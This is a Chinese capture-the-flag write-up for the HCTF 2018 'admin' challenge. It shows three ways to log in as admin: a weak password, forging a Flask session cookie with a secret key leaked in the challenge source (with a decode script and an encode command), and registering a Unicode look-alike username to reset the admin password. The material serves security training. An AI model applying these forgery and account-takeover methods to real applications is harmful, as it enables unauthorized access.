BUUCTF [HCTF 2018] admin

  • 解法一:弱密码
  • 解法二:Flask伪造Session
  • 解法三:Unicode欺骗

考点:

  1. 弱密码
  2. Flask伪造session
  3. Unicode欺骗

启动环境:

简洁的页面和一个菜单栏,菜单栏中包含登陆注册功能
查看网页源码,发现提示:

<!-- you are not admin -->

提示需要用admin用户登陆

解法一:弱密码

尝试使用admin登陆,密码123

登陆成功,可以得到flag

首先注册正常的账户:

test
test


登陆成功后,进入到主页,其中菜单栏包含页面:indexpostchange passwordlogout

post页面是一个类似文章发布或留言板的功能,change password页面是修改密码功能

在各页面查找提示时,在修改密码界面源码中查找到:

<!-- https://github.com/woadsl1234/hctf_flask/ -->

尝试从Github下载源码:

源码为Flask框架,查看其路由页面:

@app.route('/code')
@app.route('/')
@app.route('/index')
@app.route('/register', methods = ['GET', 'POST'])
@app.route('/login', methods = ['GET', 'POST'])
@app.route('/logout')
@app.route('/change', methods = ['GET', 'POST'])
@app.route('/edit', methods = ['GET', 'POST'])
@app.errorhandler(404)

存在登陆注册修改密码edit等功能

解法二:Flask伪造Session

Flask中的session是存储在客户端的cookie中,也就是存储在本地,Flask对数据进行签名防篡改。而Flask并没有提供加密,所以session可以在客户端中被读取。

参考:Flask中的session

在本题中routes.py页面,导入了session方法:

from flask import xxx, session, xxx

使用BurpSuite抓取数据包:

可以获取到session

session=.eJw9kEGLwjAQhf_KMmcPGu1F8FBJ3W1hElrihslF1K22SeNCW9FW_O8bXPA0DG_me2_mAbtTW3YVLPv2Wk5gV__A8gEfB1gC6WQueeMEK7xg28HoopHcRWiNNTyJcDSOxnVNNr0LnYUaL6Q2VtjtSAwjydc18u8axybM4dTYfJAqszRWDbGskpzuwmYOPzcVqvROPr8hj6eSGy9szqSqKlJx8DsyobZz9MFf00z4kEflQ-gDN1kYla_gOYFj1552_a8rL-8ThC4s8swKlQbEkZHeWBzdHO15hjqs-iQynEK0jSOVDjS6hYhXL1zt9-fyTTJfTV3c_pXL3gcB-rLrYQLXrmxfb4PZFJ5_IUVs2g.X9GIFw.jVsoklHDPjPIBeBhQ5i4TpNd5xw

使用Python3脚本进行解密:

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))
python3 main.py session


得到解密后的session信息:

{'_fresh': True, '_id': b'aa789d7df7e2ede89926cd1936dc0bb215bbb089fc653cc980b05b39dc34f4292cc8ecba86162d0aa121bd000486f64698aa092765572de9f56df5422ddc18e4', 'csrf_token': b'5dc02c526576aac3972851a8fa9d64f1da22c984', 'image': b'dybG', 'name': 'test', 'user_id': '10'}

要想构造admin用户的session,还需获取到SECRET_KEY的值,SECRET_KEY是Flask中的通用密钥,主要在加密算法中作为一个参数,这个值的复杂度影响到数据传输和存储时的复杂度,密钥最好存储在系统变量中。

通过对本题源码的分析,在config.py页面中找到:

class Config(object):SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'SQLALCHEMY_TRACK_MODIFICATIONS = True

其中SECRET_KEY的值为:ckj123,在本地构建Flask应用,生成SECRET_KEY伪造adminsession

sesion=eyJuYW1lIjoiYWRtaW4ifQ.X9GQxA.tPYjWZMjsyIGLwe1kr8xNkLFYFk

获得伪造后的session,构造本题所需的session

{'_fresh': True, '_id': b'aa789d7df7e2ede89926cd1936dc0bb215bbb089fc653cc980b05b39dc34f4292cc8ecba86162d0aa121bd000486f64698aa092765572de9f56df5422ddc18e4', 'csrf_token': b'5dc02c526576aac3972851a8fa9d64f1da22c984', 'image': b'dybG', 'name': 'admin', 'user_id': '10'}

将原本的name修改为admin,使用flask-session-cookie加密脚本Github地址:

python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "session..."


得到加密后的session

.eJw9kEGLwjAQhf_KMmcPGu1F8FBJ3W1hElrihslFXK02SeNCVbQV__sGFzwNw5v53pt5wObQ1ecG5pfuWo9gY_cwf8DHD8yBdDaVvPWCVUGwdW901UruE3TGGZ4lOBhPw9KSy-9CF7GmM6mNE249EMNE8qVF_m1xaOMcjo0re6kKR0PTEisayekuXOHxc9Wgyu8UyhvydCy5CcKVTKqmIZVGvx0Taj3FEP01TUSIeVTZxz5ys5lR5QKeI9idu8Pm8uvr0_sEoSuHvHBC5RGxY6RXDgc_RXecoI6rIUsMpxht5UnlPQ1-JtLFC2fD9li_SeartdXtXzltQxRguw_2BCO4nuvu9TeYjOH5B44CbSM.X9GUGA.w4nTRxBXiA9uaoA22WXhQe1vmGY

使用BurpSuite抓取数据包,修改其中session信息:

发送数据包,得到flag

没有修改user_id的值,在index.php页面源码中:

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>{% include('footer.html') %}

发现其值判断了session中的name属性,其值为admin,即可输出flag。

解法三:Unicode欺骗

route.py页面中,查看到register()函数、login()函数、change()函数都包含:

def register():name = strlower(form.username.data)def login():name = strlower(form.username.data)session['name'] = namedef change():name = strlower(session['name'])

其中都是用strlower()来转为小写,没有使用Python自带的lower()函数,详细查看该函数:

def strlower(username):username = nodeprep.prepare(username)return username

通过查阅资料,nodeprep.prepare()函数的原理就是会将unicode字符转换成A,而A再调用一次nodeprep.prepare()函数会把A转换成a

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

以上为转换过程,我们可以通过这种方式伪造admin用户,即注册用户ᴬᴰᴹᴵᴺ,在登陆时,用户名通过strlower(form.username.data)会转化为:ADMIN。修改密码时,strlower(session['name'])会将ADMIN转化为admin,所以可以修改admin用户的密码。

首先注册用户ᴬᴰᴹᴵᴺ

在成功登陆后,用户已转变为:ADMIN

此时修改密码为:test

修改成功:

经过两次转化,修改的应为用户admin的密码,尝试登陆:

登陆成功,获得flag

BUUCTF [HCTF 2018] admin相关推荐

  1. BUUCTF [HCTF 2018] Hide and seek

    BUUCTF [HCTF 2018] Hide and seek 考点: 软连接读取任意文件 Flask伪造session /proc/self/environ文件获取当前进程的环境变量列表 rand ...

  2. BUUCTF [HCTF 2018]WarmUp 1

    BUUCTF [HCTF 2018]WarmUp 1 f12发现提示source.php 打开后发现php代码: <?phphighlight_file(__FILE__);class emmm ...

  3. [HCTF 2018]admin

    前言: 最近在BUUCTF刷题,参照师傅们wp后复现一下 0x01 拿到题目后进去如下界面 发现有登录和注册界面,想必是要登录后才能查看想要的信息. 查看页面源代码,看看有没有上面提示,界面如下 提示 ...

  4. [HCTF 2018]admin 1

    前言 这题的三种方法都是姿势盲区....第三种方法只给个介绍..因为好像复现的话不能成功,但是学习学习这种方法的思想. 姿势总结 flask session伪造 unicode欺骗 条件竞争 方法一: ...

  5. HCTF 2018]admin

    知识点 unicode欺骗 session伪造 解法一:unicode欺骗 查看源码发现 <!-- you are not admin --> 应该是要注册成admin用户 先注册一个ad ...

  6. [HCTF 2018] admin

    "地面可以给他们,但天空属于我" 本题有三种解法,本文只介绍第一种,flask session 伪造. 审查题目 发现了网页有注册和登录,先注册一个试试看,上去后发现有 挨个检查源 ...

  7. BUUCTF:[HCTF 2018]Hide and seek

    BUUCTF:[HCTF 2018]Hide and seek 参考:https://www.jianshu.com/p/d20168da7284 先随便输入账号密码登录 提示我们上传zip文件 上传 ...

  8. buuctf - web - [HCTF 2018]WarmUp

    老样子 F12 检查 发现 source.php 被注释掉了 在 url 直接进行访问 可以看到是源代码 发现 high_file 泄漏, 访问 hint.php,可以看到 flag 在那里 回头分析 ...

  9. [HCTF 2018]Hideandseek

    知识点:flask-session伪造,文件读取,mac地址查询 文章目录 解题过程 1. 注册用户并登录 2. 文件读取 2.1 读取/proc/self/environ 2.2 读取/app/uw ...

最新文章

  1. 【22,23节】Django的GET和POST属性笔记
  2. 并发编程下的性能定律(翻译)
  3. 进阶第四课 Python模块之os
  4. java中date类型如何赋值_一文读懂java中的Reference和引用类型
  5. ionic安装插件常用命令
  6. springcloud hystrix实战(二)
  7. gulpfile笔记
  8. 在switch语句中使用字符串以及实现原理
  9. 按位运算操作符底层实现原理
  10. 爬虫实例十二 沪深证券股票全站数据爬取
  11. Linux下PS命令详解 (转)
  12. win10计算机名访问win7,实现Win10与Win7局域网共享,教你这招
  13. 制作字幕.html教程,如何制作电影字幕,视频字幕制作软件|免费给视频加字幕
  14. Unity学习笔记------用Unity2D制作打地鼠游戏
  15. 迅为4418/6818开发板 Yocto 系统烧写
  16. Apache Pegasus 首次 Meetup 圆满落幕
  17. emmx用xmind打开_XMind 里流程图的正确打开方式
  18. 低功耗设计及其UPF实现第四节(最后一节)
  19. SpringBoot事务配置管理
  20. 计算机网络9 无线网络和移动网络

热门文章

  1. 20145202马超 《Java程序设计》第五周学习总结
  2. 自建 | gma库详细帮助
  3. 使用navicat创建mysql数据库
  4. 高级语言(High-level programming language)
  5. One PUNCH Man——梯度下降和全局最优
  6. Python代码编写 米家设备接入homekit(mac端)
  7. 网格布局、九宫格布局
  8. 客服通话文本摘要提取比赛基线
  9. 网站测试基本方法-32. 接口测试
  10. mysql pg 世纪大决战_抓住三个根本 增强三种力量